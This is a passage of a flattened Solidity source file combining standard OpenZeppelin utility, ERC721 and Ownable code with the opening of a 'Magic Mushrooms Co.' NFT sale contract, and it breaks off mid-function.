errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/EnumerableMap.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Following the recent worldwide pandemic, emerging reports suggest that several mushroom species have begun exhibiting strange characteristics. Our research team located across the globe has commenced efforts to study and document these unusual phenomena. // Concerned about parties trying to suppress our research, the team has opted to store our findings on the blockchain to prevent interference. Although this is a costly endeavour, our mission has never been clearer. // The fate of the world's mushrooms depends on it. // from our website (https://magicmushroomsnft.com) // MagicMushroomsCo is a community-centered enterprise focussed on preserving our research about the emerging reports that several mushroom species have begun exhibiting strange characteristics following the recent worldwide pandemic. // Our research team located across the globe has commenced efforts to study and document these unusual phenomena. // Concerned about parties trying to suppress our research, the team has opted to store our findings on the blockchain to prevent interference. // Although this is a costly endeavour, our mission has never been clearer. // The fate of the world's mushrooms depends on it. // MUSHROOM RESEARCH TEAM: // // // // // pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; contract MagicMushroomsCo is ERC721, Ownable { using SafeMath for uint256; string public MUSHROOM_PROVENANCE = ""; // IPFS URL WILL BE ADDED WHEN MUSHROOMS ARE ALL SOLD OUT string public LICENSE_TEXT = ""; // IT IS WHAT IT SAYS bool licenseLocked = false; // TEAM CAN'T EDIT THE LICENSE AFTER THIS GETS TRUE uint256 public constant mushroomPrice = 25000000000000000; // 0.025 ETH uint public constant maxMushroomPurchase = 20; uint256 public constant MAX_MUSHROOMS = 8888; bool public saleIsActive = false; mapping(uint => string) public mushroomNames; // Reserve 125 Mushrooms for team - Giveaways/Prizes etc uint public mushroomReserve = 125; event mushroomNameChange(address _by, uint _tokenId, string _name); event licenseisLocked(string _licenseText); constructor() ERC721("Magic Mushrooms Co.", "BBC") { } function withdraw() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } function reserveMushrooms(address _to, uint256 _reserveAmount) public onlyOwner { uint supply = totalSupply(); require(_reserveAmount > 0 && _reserveAmount <= mushroomReserve, "Not enough reserve left for team"); for (uint i = 0; i < _reserveAmount; i++) { _safeMint(_to, supply + i); } mushroomReserve = mushroomReserve.sub(_reserveAmount); } function setProvenanceHash(string memory provenanceHash) public onlyOwner { MUSHROOM_PROVENANCE = provenanceHash; } function setBaseURI(string memory baseURI) public onlyOwner { _setBaseURI(baseURI); } function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function tokensOfOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } // Returns the license for tokens function 